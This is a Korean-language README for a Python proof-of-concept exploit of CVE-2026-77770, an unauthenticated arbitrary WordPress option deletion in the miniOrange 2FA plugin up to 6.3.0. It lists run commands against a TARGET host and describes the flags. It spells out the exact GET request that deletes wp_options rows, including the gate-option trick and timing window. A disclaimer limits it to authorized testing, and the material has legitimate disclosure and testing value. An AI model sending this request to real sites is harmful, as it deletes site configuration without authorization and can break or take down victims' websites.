
CVE-2026-77770에 대한 Python PoC로, miniOrange 2FA 플러그인(<= 6.3.0)의 이메일 인증 링크를 통한 인증되지 않은 임의 WordPress 옵션 삭제 취약점입니다.
miniOrange 2FA CVE POC
miniOrange 2FA (WordPress 플러그인 miniorange-2-factor-authentication) ≤ 6.3.0 — 이메일 인증 링크(userID / Txid / accessToken)를 통한 비인증 임의 WordPress 옵션 삭제.
승인된 테스트 전용입니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
요구 사항: Python 3, 표준 라이브러리만 사용.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| 플래그 | 기능 |
|---|---|
-u / --url | WordPress 사이트 루트 (필수). http:// 또는 https://; 호스트명은 HTTPS를 먼저 시도한 후 HTTP를 시도합니다. 자체 서명 TLS는 자동으로 재시도됩니다 |
--test | 게스트: 플러그인 버전 + 이메일 인증 팝업 |
--delete OPTION | 해당 wp_options 행을 삭제합니다. blogname은 /wp-json/을 통해 확인 가능합니다 (BEFORE / AFTER) |
--gate OPTION | 저장된 값이 3인 옵션 (Txid 게이트). 반복 가능. 기본값: wp_page_for_privacy_policy, 그 다음 thread_comments_depth |
--insecure | TLS 검증 건너뛰기 |
--timeout | HTTP 타임아웃 초 (기본값 30) |
비인증. 가젯은 /?userID=OPTION&Txid=GATE&accessToken=x로의 GET 요청입니다. GATE는 현재 정수 3을 보유해야 합니다. 5분 윈도우를 놓치면 플러그인은 GATE=0도 기록합니다.
--test는 삭제하지 않습니다. --delete blogname이 공개적 증거입니다 (/wp-json/의 사이트 제목이 비워짐). 6.3.1은 키에 접두사를 붙이므로(mo2f_oobe_*) 접두사 없는 이름은 삭제되지 않습니다.
Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE: CVE-2026-77770. 플러그인 변경 로그 6.3.1.